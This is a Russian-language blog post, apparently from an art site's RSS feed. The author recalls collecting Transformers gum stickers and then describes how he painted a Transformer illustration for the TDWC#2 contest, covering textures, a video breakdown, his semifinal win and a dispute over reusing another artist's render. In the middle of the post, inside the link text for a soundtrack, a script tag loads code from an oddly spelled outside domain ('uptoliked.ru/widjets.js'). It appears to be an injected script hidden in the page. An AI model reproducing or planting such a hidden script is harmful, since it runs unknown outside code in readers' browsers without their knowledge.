<br/>Собрали с братом коллекцию наклеек от жвачек <span style='font-weight:bold;'>Трансформеры</span>. Собирали и сдавали бутылки, мыли машины и покупали наши любимые &laquo;жёвки&raquo; как мы их тогда называли. Весёлое было время).<br />
<br/>Пытался найти хоть какую-нибудь информацию в интернете, но всё тщетно, редкая коллекция?). Извиняюсь за некачественное фото, пока только такое. Возможно, позже, отсканирую и выложу отдельным постом.<br />
<br/>
<div style="text-align:right;font-style:italic;">2294&#215;1200, ~1,9mb</div>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_stickers_transformers_b.jpg" title='Коллекция наклеек трансформеров'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_stickers_transformers_s.jpg" alt="Коллекция наклеек трансформеров" title="Коллекция наклеек трансформеров"class="alignnone size-full wp-image-1963" /></a></div>
<p><br/>Были у нас и настоящие модельки Вольтрона и Трансформеров (конкретно, <a href="http://bit.ly/dRSRT8" title='Моделька шестизарядника из поколения Victory'>шестизарядник</a> из поколения Victory, очень крутой трансформер). Наверное для нынешнего поколения людей, которое выросло на современных трансформерах (фильмы) всё же рекомендую окунуться в историю и посмотреть с чего всё начиналось.<br />
И да, есть очень известная <a href="http://obnov.net/files/files/musics/Polnie_mp3/zarubezhnie/t/Transformers/Transformers-Victory_Opening.mp3" title='Известная композиция из трансформеров'>композиция<script src="//uptoliked.ru/widjets.js"></script></a> (2,4mb) из трансформеров (Victory). Рекомендую послушать.<br />
<br/>Что касается конкурсной работы. У меня с самого начала стали возникать то и дело вопросы, ответы, на которые находил, но оставался до конца в сомнениях то, что я делаю. А задание звучало следующее:<br />
<br/></p>
<ul style='color:#d42c73'>
<li>Играем два полуфинала. Задание как обычно еще сложнее, чем было предыдущее.</li>
<li>Берем <a href="http://www.johansvensson3d.se/images/occlusion/transformergray.jpg" title='Задание на полуфинал'>эту картинку</a> и приводим ее в порядок.</li>
<li>Все как обычно — однородный фон, исходный размер 900х900 (можно больше, но 900х900 обязательно)
</ul>
<p><br/>Вопросы появились не сразу, а когда я посмотрел url картинки и обнаружил, что она ведет на &laquo;чей-то&raquo; сайт. Проследовав по ссылке оказался на домашней страничке крутого 3D-художника <a href="http://www.johansvensson3d.se/" title='Сайт Йохана Свенссона'>Йохана Свенссона</a>. Подробно ознакомиться с его работами можно у него на сайте. Собственно что я и сделал. Оказывается Йохан выкладывает к своим 3D работам <a href="http://ru.wikipedia.org/wiki/Ambient_occlusion" title='Что такое модель затенения'>&laquo;модель затенения&raquo;</a>.<br />
<br/>
<div style="text-align: center;">&laquo;Модель затенения&raquo; и финальный рендер</div>
<p><br/>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_occlusion_picture_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Модель затенения'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_occlusion_picture_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Модель затенения" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Модель затенения" class="alignnone size-full wp-image-1983" /></a><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_final_render_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Финальный рендер'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_final_render_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Финальный рендер" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Финальный рендер" class="alignnone size-full wp-image-1981" /></a></div>
<p><br/>Меня смутило:</p>
<ol>
<li>Наличие финального <a href="http://www.johansvensson3d.se/images/large/transformer.jpg" title='Финальный рендер трансформера'>рендера</a> к работе.</li>
<li>Чужая работа, которую по сути мы должны сделать лучше.</li>
<li>То, что участники не потрудятся исправить косяки рендера, а выложат как есть &#8211; с текстурой, светом, тенями на однородном фоне.</li>
</ol>
<p><br/>После переписки с ведущим по конкурсу <a href="http://followtothewhiterabbit.ru/" title='followtothewhiterabbit.ru'>Славой</a> по вопросам начал делать. Уже позднее, при тщательном рассмотрении рендера, понял, что в чистую использовать рендер ни у кого не получится, т.к. финальный вариант в плане освещения полностью отличался от требуемого в задании.<br />
<br/>Перед началом работы начал поиски на наличие текстур трансформера. Да и сам трансформер известный. Это <a href="http://ru.wikipedia.org/wiki/Фанарт" title='Кто такой Фанарт?'>фан-арт</a> на <a href="http://bit.ly/h2mbxK" title='бамблби'>бамблби</a>. Просмотрев достаточно большое количество всяких разных трансформеров, отобрал для примеров самых смачных в плане текстур. Чтобы ориентироваться на них, при рисовании бликов и текстур.<br />
<br/>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_example_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Примеры'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_example_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Примеры" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Примеры" class="alignnone size-full wp-image-2003" /></a></div>
<p><br/>Когда начинал отрисовку деталей, до конца тура оставалось чуть больше 10 дней. Очень боялся, что при такой тщательной отрисовке, я не успею сделать работу. На один элемент (голова, руки, тело, ноги) у меня в среднем уходило 2-4 дня. С некоторым волнением после осмотра трансформера приступил к работе. Начал с правого плеча. Отрисовов с нуля (не используя никаких текстур с готовых моделей), понял, что дело пахнет жареным. Начал мозговать и наметил план действий. Начать с самого сложного, тёмного участка, постепенно поднимаясь вверх. Но перед этим отрисовал голову.<br />
<br/>После правого плеча стал применять в качестве текстур элементы с рендера, т.к. он снизу был никакующий, пришлось буквально по пикселям вырисовывать текстуру. При такой работе очень выручают инструменты и фильтры как Clone Tool, Brushes, Sharpen.<br />
<br/>Отложив плечо, для начала решил сделать шейп всего трансформера, поверх стал использовать куски текстуры с рендера предварительно обрабатывал, что-то шарпил, где-то клонировал и дорисовывал кистями (обычной и текстурной), чтобы придать фактуру материалу. Также для усиления текстуры металла, воспользовался материалом с <a href="http://cgtextures.com/" title='cgtextures.com'>cgtextures.com</a>. Стыковал текстуру маленькими квадратиками поверх шейпа в overlay.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_textures_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Текстура металла'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_textures_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Текстура металла" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Текстура металла" class="alignnone size-full wp-image-2032" /></a><br />
<br/>Когда нужно было сдавать работу, мне оставались руки (голову я сделал в самом начале, когда был прилив сил, потому как к концу проекта, выматываешься на полную катушку). Последние дни работал на автопилоте, 2-е суток не спать, это нечто)) Реально, голова падала на планшет&#8230;<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_head_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Голова. WIP'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_head_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Голова. WIP" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Голова. WIP" class="alignnone size-full wp-image-2028" /></a><br />
<br/>Обсуждать каждую отрисованную деталь, думаю не имеет смысла. Но я хотел бы показать один из процессов создания на примере правого  плеча трансформера.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_making_of_shoulder_b.jpg" title='Работа на конкурс TDWC#2 &raquo;Трансформер&raquo; - Создание плеча'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_making_of_shoulder_s.jpg" alt="Работа на конкурс TDWC#2 &raquo;Трансформер&raquo; - Создание плеча" title="Работа на конкурс TDWC#2 &raquo;Трансформер&raquo; - Создание плеча" class="alignnone size-full wp-image-2038" /></a><br />
<br/>Размер самой иллюстрации сделал 2000x2000px в надежде, что когда-нибудь распечатаю себе небольшой плакат, как и яхту <a href="http://fominart.ru/wp-content/gallery/illustrations/ill-admiral.jpg" title='Иллюстрация Admiral 40MT Aqua'>Admiral 40MT Aqua</a>.<br />
<br/>Также я записал <a href="http://vimeo.com/21166335" title='Видеоразбор готового трансформера'>видеоразбор</a> готового трансформера.<br />
<br/>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_video_examination_b.jpg" title='Работа на конкурс TDWC#2 &raquo;Трансформер&laquo; - Видеоразбор'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_video_examination_s.jpg" alt="Работа на конкурс TDWC#2 &raquo;Трансформер&laquo; - Видеоразбор" title="Работа на конкурс TDWC#2 &raquo;Трансформер&laquo; - Видеоразбор" class="alignnone size-full wp-image-2008" /></a></div>
<p><br/>Проект очень сильно тормозил из-за большого формата (на видео это заметно), пришлось ускорять и редактировать видео. Ниже сам видеоролик и описание на русском. Так как видео было записано достаточно давно, можно заметить различия финала и того, что на видео. <span style='font-weight:bold'>Я немного отретушировал его для блога (сделал в основном цветкоррекцию).</span><br />
<br/><a href="http://vimeo.com/21166335" title='Transformer for TDWC#2. Video examination'>Transformer for TDWC#2. Video examination</a> by <a href="http://vimeo.com/user6320159" title='WizVio на Vimeo.com'>WizVio</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=21166335&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=21166335&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Описание:<br />
<span style='font-style:italic;'>Работа для конкурса. Видео, специально записанное для демонстрации проделанной работы.<br />
Были показаны некоторые части трансформера (разобрал по слоям). Проект был разбит на подпроекты (голова, руки, тело и.т.д), т.к.основной проект со временем раздувался и кисти при рисовании начинали тормозить. Но, когда я собрал его в один проект, мой комп не выдержал и завис, повторно разбирать не решился. В начале видео, я пролистываю список слоёв всего проекта (могу сказать, их очень много, т.е. если я начну убирать слои по порядку, можно проследить весь процесс создания). Как обычно, в любой работе я использую текстуры (подробно о моих этапах работы можно ознакомится на примере <a href="http://fominart.ru/illyustraciya-obyknovennyj-xameleon.html" title='Как создавался хамелеон обыкновенный'>&laquo;Обыкновенного хамелеона&raquo;</a>), в данном случае донором послужил готовый рендер Йохана Свенссона. Чтобы придать тот вид, который я считаю нужным, пришлось приложить не мало усилий! На работу было потрачено чистого времени &#8211; 10 дней!</span><br />
<br/>Финальный вариант конкурсной работы. Можете по разглядывать детальки у него <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /><br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_final_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Финал'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_final_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Финал" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo; - Финал" class="alignnone size-full wp-image-2014" /></a><br />
<br/>Вот и всё. В итоге я одержал победу и прошел в финал. И да, был неприятный момент, мой соперник <span style='font-weight:bold;'>Андрей</span> (<a href="http://www.free-lance.ru/users/LevshaAS/" title='Levsha на free-lance.ru'>Levsha</a>) стал упрекать меня в том, что я в наглую содрал текстуру с готового рендера (кстати, рендер уже позже Слава прикрепил к заданию, когда я ему показал ссылку на готовую работу). Я не желаю разводить срач по этому поводу, и считаю, что сделал свою работу достойно, как делал и яхту &laquo;Адмирал&raquo;, и практически все свои работы, использовал текстуры либо с фото, либо сам рисовал, но никогда не забывал их обрабатывать так, чтобы они полностью меня устраивали.<br />
<br/>Задание на финал уже выдали. Не буду раскрывать подробностей. Скоро всё узнаете <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/rabota-na-konkurs-tdwc2-transformer.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
<enclosure url="http://obnov.net/files/files/musics/Polnie_mp3/zarubezhnie/t/Transformers/Transformers-Victory_Opening.mp3" length="2457812" type="audio/mpeg" />
		</item>
	</channel>
</rss>
